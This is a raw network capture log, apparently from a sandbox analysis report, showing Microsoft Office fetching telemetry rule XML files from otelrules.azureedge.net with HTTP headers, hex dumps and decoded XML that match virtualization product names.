V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: ce736301-601e-0070-215b-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172843Z-178bfbc474bv7whqhC1NYC1fg400000007w00000000025wa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 482df903-301e-005d-4bb5-3ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172843Z-178bfbc474bv7whqhC1NYC1fg400000007wg0000000007pa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b855c3e2-e01e-0051-540f-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172844Z-15b8b599d88s6mj9hC1TEBur3000000005yg00000000saaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:45 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c42eb2d5-101e-008e-0701-3fcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172845Z-174c587ffdfp4vpjhC1TEBybqw000000067g00000000f9zx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:45 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:45 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: d5269c75-c01e-0066-3ae4-3ea1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172845Z-174c587ffdfb74xqhC1TEBhabc000000069g000000007f9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:46 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:45 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 7397a655-c01e-000b-4bbf-3ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172845Z-178bfbc474b7cbwqhC1NYC8z4n00000007k000000000u068 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:46 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 6acb8fba-801e-0015-526e-3df97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172846Z-15b8b599d886w4hzhC1TEBb4ug000000067g00000000mnkb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:46 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:46 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 40f78568-a01e-0050-01c6-3edb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172846Z-178bfbc474bwlrhlhC1NYCy3kg00000007wg0000000001pp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:46 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:47 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: d599eecb-401e-0083-1bb7-3e075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172848Z-178bfbc474bwh9gmhC1NYCy3rs00000007u000000000hnfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:48 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:47 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: c9d02f83-e01e-0033-4d75-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172848Z-174c587ffdftv9hphC1TEBm29w000000068000000000374h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:47 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:48 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172848Z-174c587ffdf7t49mhC1TEB4qbg000000062g00000000scdz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 17:28:48 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:48 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:48 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: c700c3f3-301e-0000-760a-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172848Z-15b8b599d88m7pn7hC1TEB4axw00000006a000000000apq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:48 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 